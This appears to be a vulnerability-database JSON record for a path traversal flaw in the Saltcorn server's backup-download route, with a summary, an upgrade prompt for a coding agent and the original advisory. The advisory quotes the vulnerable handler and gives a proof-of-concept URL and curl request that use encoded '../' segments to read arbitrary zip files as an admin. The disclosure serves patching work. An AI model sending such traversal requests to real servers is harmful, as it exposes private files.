{"answers":{"affected":"2 open source packages ship an affected version, including @saltcorn/server.","exploited":"There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.","fix":"Upgrade @saltcorn/server to 1.0.0-beta.14 or later.","what":"GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-277h-px4m-62q8 and fix it if it is affected.\n\nWhat it is: GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14\n- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-277h-px4m-62q8/ (Markdown: https://insights.sbomify.com/GHSA-277h-px4m-62q8/index.md)","id":"GHSA-277h-px4m-62q8","markdown":"https://insights.sbomify.com/GHSA-277h-px4m-62q8/index.md","name":"GHSA-277h-px4m-62q8","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Saltcorn server","requires_auth":"high_privilege","summary":"Admin users can exploit path traversal in backup downloads to read arbitrary zip files from the server.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nA user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682\n\n```js\nrouter.get(\n  \"/auto-backup-download/:filename\",\n  isAdmin,\n  error_catcher(async (req, res) =\u003e {\n    const { filename } = req.params; // [1] source\n    [...]\n    if (\n      !isRoot ||\n      !(filename.startsWith(backup_file_prefix) \u0026\u0026 filename.endsWith(\".zip\")) // [2]\n    ) {\n      res.redirect(\"/admin/backup\");\n      return;\n    }\n    const auto_backup_directory = getState().getConfig(\"auto_backup_directory\");\n    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink\n  })\n);\n```\n\n### Steps to reproduce (PoC)\n\n- create a file with `.zip` extension under `/tmp` folder:\n```\necho \"secret12345\" \u003e /tmp/secret.zip\n```\n- log into the application as an admin user\n- visit the url   `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`\n- download the zip file and then check if the zip was indeed downloaded:\n```bash\ncat secret.zip\nsecret12345\n```\n\n \n- Alternatively send the following request to retrieve the file just created.\n```bash\ncurl -i -X $'GET' \\\n    -H $'Host: localhost:3000' \\\n    -H $'Connection: close' \\\n    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \\\n    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'\n```\n\n**NOTE**:\nTo obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.\n\n### Impact\n\nArbitrary zip files download (information disclosure).\n\n### Recommended Mitigation\n\nResolve the `filename` parameter before checking if it starts with `backup_file_prefix` .","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"@saltcorn/server arbitrary file zip read and download when downloading auto backups","id":"GHSA-277h-px4m-62q8","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"path_traversal","year":"2024"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["1.0.0-beta.14"],"introduced":["0"],"last_affected":[],"package":"@saltcorn/server","purl":null,"source":"GHSA-277h-px4m-62q8"},{"ecosystem":"npm","fixed":["1.0.0-beta.14"],"introduced":["0"],"last_affected":[],"package":"@saltcorn/server","purl":"pkg:npm/%40saltcorn/server","source":"GHSA-277h-px4m-62q8"}],"products":null,"published":"2024-10-03","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Admin users can exploit path traversal in backup downloads to read arbitrary zip files from the server.","url":"https://insights.sbomify.com/GHSA-277h-px4m-62q8/"}